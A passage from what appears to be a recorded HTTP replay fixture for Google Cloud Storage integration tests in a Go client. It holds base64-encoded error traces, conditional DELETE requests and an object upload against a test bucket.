mplY3RzRGVsZWdhdG9yLmRlbGV0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBFeHBlY3RlZCBtZXRhZGF0YSBnZW5lcmF0aW9uIHRvIG1hdGNoIDIsIGJ1dCBhY3R1YWwgdmFsdWUgd2FzIDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPXByZWNvbmRpdGlvbkZhaWxlZCwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uQ09ORElUSU9OX05PVF9NRVQsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpJTkNPUlJFQ1RfTUVUQV9HRU5FUkFUSU9OX1NQRUNJRklFRDogRXhwZWN0ZWQgbWV0YWRhdGEgZ2VuZXJhdGlvbiB0byBtYXRjaCAyLCBidXQgYWN0dWFsIHZhbHVlIHdhcyAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjg4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5kZWxldGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjExMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogRXhwZWN0ZWQgbWV0YWRhdGEgZ2VuZXJhdGlvbiB0byBtYXRjaCAyLCBidXQgYWN0dWFsIHZhbHVlIHdhcyAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUNPTkRJVElPTl9OT1RfTUVULCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9bnVsbCwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPWhlYWRlcnMuSWYtTWF0Y2gsIG1lc3NhZ2U9UHJlY29uZGl0aW9uIEZhaWxlZCwgcmVhc29uPWNvbmRpdGlvbk5vdE1ldCwgcnBjQ29kZT00MTJ9IFByZWNvbmRpdGlvbiBGYWlsZWQ6IGNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpJTkNPUlJFQ1RfTUVUQV9HRU5FUkFUSU9OX1NQRUNJRklFRDogRXhwZWN0ZWQgbWV0YWRhdGEgZ2VuZXJhdGlvbiB0byBtYXRjaCAyLCBidXQgYWN0dWFsIHZhbHVlIHdhcyAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjg4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5kZWxldGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjExMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogRXhwZWN0ZWQgbWV0YWRhdGEgZ2VuZXJhdGlvbiB0byBtYXRjaCAyLCBidXQgYWN0dWFsIHZhbHVlIHdhcyAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MTIsIm1lc3NhZ2UiOiJQcmVjb25kaXRpb24gRmFpbGVkIn19" - } - }, - { - "ID": "857f8a30eb55b023", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/conddel?alt=json\u0026ifMetagenerationNotMatch=1\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 304, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uprv3QMjU4zz49ScYI4YaY9FitNwO7wGMQ1KZ8Y99w4D7keznFfA8M80bMdKvSH55jsWsDoLKcQ1VvIqIEUw88NqSfUM7E5SR_y5zfDaCf_uHSlgPM" - ] - }, - "Body": "" - } - }, - { - "ID": "4c69a7dc19302935", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/conddel?alt=json\u0026generation=1556835843368401\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpoiZa1zqMV-8ZkeUrvT6Xi0uJul6yGWWth5s3YbFtA2p0-6vc_54sNtEbxbnsASZyMDXLelHaCSixgcVT6JDVELrXHDim9gHcjjlSTF6BsHWu181A" - ] - }, - "Body": "" - } - }, - { - "ID": "834f05b1eb2dbc32", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoib2JqMSJ9Cg==", - "TuDshcL7vdCAXh8L42NvEQ==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3150" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Etag": [ - "CLnS+bvx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UozIFQVqWdhJxDLMyV7dfkeraSOw2Mw_AsI_aCWnAUudrz4HjQgZ4kbnvKXJfNF3SMQhxzxZHhk1Otmw7PgPxL7HyDkPDyK1DeHDc8GyfY1B3Q3YfA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxIiwibmFtZSI6Im9iajEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNC42NDZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDQuNjQ2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA0LjY0NloiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiU25hL1VXdjdtY1pJMjNvRTV0VWFiUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajE/Z2VuZXJhdGlvbj0xNTU2ODM1ODQ0NjQ3MjI1JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NT